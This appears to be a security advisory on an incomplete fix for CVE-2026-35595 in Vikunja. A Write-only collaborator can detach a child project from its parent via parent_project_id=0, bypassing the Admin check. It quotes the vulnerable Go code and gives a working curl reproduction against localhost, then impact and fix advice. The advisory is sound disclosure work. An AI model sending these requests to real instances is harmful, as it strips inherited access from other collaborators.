Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0

Summary

The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parent_project_id > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parent_project_id: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.

Affected component

• Package: go-vikunja/vikunja
• Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.
• Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)

Technical detail

Vulnerable code

File: pkg/models/project.go (lines 1009-1041)

// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
    // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project_permissions.go (line 145)

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    // reparent permission check -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project.go (line 1065)

colsToUpdate := []string{
    "title", "is_archived", "identifier", "hex_color",
    "parent_project_id",  // <-- ALWAYS included, writes 0 to DB
    "position",
}

Why it's exploitable

1. The generic web handler (pkg/web/handler/update.go:37) creates a fresh empty Project{} struct -- ParentProjectID defaults to Go's zero value (0).
2. When JSON body contains "parent_project_id": 0, the struct has ParentProjectID == 0.
3. CanUpdate at line 145: ParentProjectID != 0 is false -- reparent check skipped -- falls through to CanWrite which succeeds (attacker has Write).
4. UpdateProject at line 1018: ParentProjectID > 0 is false -- Admin gate skipped entirely.
5. xorm writes parent_project_id = 0 because "parent_project_id" is always in colsToUpdate with Cols().
6. The project is detached from its parent hierarchy.

Precondition checklist

• [x] Attacker has authenticated account
• [x] Attacker has Write permission on a child project (via direct share or team membership)
• [x] The target project has a non-zero parent_project_id (it's a child of another project)
• [x] Default Vikunja configuration (no special setup needed)

Reproduction

Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.

1. Authenticate as attacker:

TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')

2. Verify attacker does NOT have Admin (delete should return 403):

curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN"
# Expected: 403

3. Exploit -- detach project from parent:

curl -s -X POST http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"title":"Sensitive Child Project","parent_project_id":0}'

4. Verify detachment:

curl -s http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)

Evidence (3 independent runs)

Note: "null (detached to root)" means parent_project_id was set to 0 in the database, making the project a root-level project with no parent.

Impact

• Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).
• Permission inheritance disruption: The recursive CTE permission model traverses parent_project_id upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.
• Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.

Suggested fix

Use a pointer field *int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."

Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.